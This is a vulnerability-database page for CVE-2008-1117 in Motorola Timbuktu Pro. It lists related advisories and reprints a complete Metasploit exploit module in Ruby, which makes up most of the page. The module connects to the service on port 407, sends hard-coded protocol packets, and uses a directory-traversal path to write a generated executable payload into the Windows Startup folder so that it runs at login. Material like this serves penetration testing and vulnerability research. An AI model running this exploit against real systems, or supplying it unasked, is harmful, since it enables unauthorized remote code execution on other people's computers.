Lucene search
K

Timbuktu Pro Directory Traversal/File Upload

🗓️ 26 Sep 2009 00:04:00Reported by MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 32 Views

Timbuktu Pro Directory Traversal vulnerability exploi

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2008-1117
11 Mar 200800:00
circl
Core Security
Timbuktu Pro Remote Path Traversal and Log Injection
11 Mar 200800:00
coresecurity
CVE
CVE-2008-1117
14 Mar 200820:00
cve
Cvelist
CVE-2008-1117
14 Mar 200820:00
cvelist
Exploit DB
Motorola Timbuktu Pro - Directory Traversal / Arbitrary File Upload (Metasploit)
24 Nov 201000:00
exploitdb
NVD
CVE-2008-1117
14 Mar 200820:44
nvd
Packet Storm
Core Security Technologies Advisory 2008.0204
13 Mar 200800:00
packetstorm
Packet Storm
Timbuktu Pro Directory Traversal/File Upload.
26 Nov 200900:00
packetstorm
Prion
Directory traversal
14 Mar 200820:44
prion
securityvulns
CORE-2008-0204: Timbuktu Pro Remote Path Traversal and Log Injection
12 Mar 200800:00
securityvulns
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Timbuktu Pro Directory Traversal/File Upload',
      'Description'    => %q{
        This module exploits a directory traversal vulnerability in Motorola's
        Timbuktu Pro for Windows 8.6.5.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2008-1117' ],
          [ 'OSVDB', '43544' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 2048,
          'DisableNops' => true,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic',  { } ],
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2008-05-10'))

    register_options(
      [
        Opt::RPORT(407),
        OptString.new('PATH', [ true, 'The path to place the executable.', '\\../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']),
      ])
  end

  def exploit
    connect

    exe  = rand_text_alpha(8) + ".exe"
    data = generate_payload_exe

    pkt1 =  "\x00\x01\x6B\x00\x00\xB0\x00\x23\x07\x22\x03\x07\xD6\x69\x6D\x3B"
    pkt1 << "\x27\xA8\xD0\xF2\xD6\x69\x6D\x3B\x27\xA8\xD0\xF2\x00\x09\x01\x41"
    pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    pkt1 << "\x00\x00\x00\x00\x00\x00\x01\x97\x01\x41\x00\x00\x00\x00\x00\x00"
    pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x04\xB7\x1D"
    pkt1 << "\xBF\x42\x00\x00\x00\x00\x7F\x00\x00\x01\x00\x00\x00\x00\x00\x00"
    pkt1 << "\x00\x00\x00\x00\x00\x00"

    pkt3 =  "\xFB\x00\x00\x00\x00\x54\x45\x58\x54\x74\x74\x78\x74\xC2\x32\x94"
    pkt3 << "\xCC\xC2\x32\x94\xD9\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00"
    pkt3 << "\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    pkt3 << "\x00\x00\x00\x00\x00\x00\x00"
    pkt3 << [datastore['PATH'].length + exe.length].pack('C') + datastore['PATH'] + exe

    print_status("Connecting to #{rhost} on port #{rport}...")

    sock.put(pkt1)
    select(nil,nil,nil,0.15)

    sock.put("\xFF")
    select(nil,nil,nil,0.15)

    sock.put(pkt3)
    select(nil,nil,nil,0.15)

    sock.put("\xF9\x00")
    select(nil,nil,nil,0.15)

    print_status("Sending EXE payload '#{exe}' to #{rhost}:#{rport}...")
    sock.put("\xF8" + [data.length].pack('n') + data)
    select(nil,nil,nil,5)

    sock.put("\xF7")
    select(nil,nil,nil,0.15)

    sock.put("\xFA")
    select(nil,nil,nil,0.15)

    sock.put("\xFE")
    select(nil,nil,nil,0.08)

    print_status("Done!")
    disconnect

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation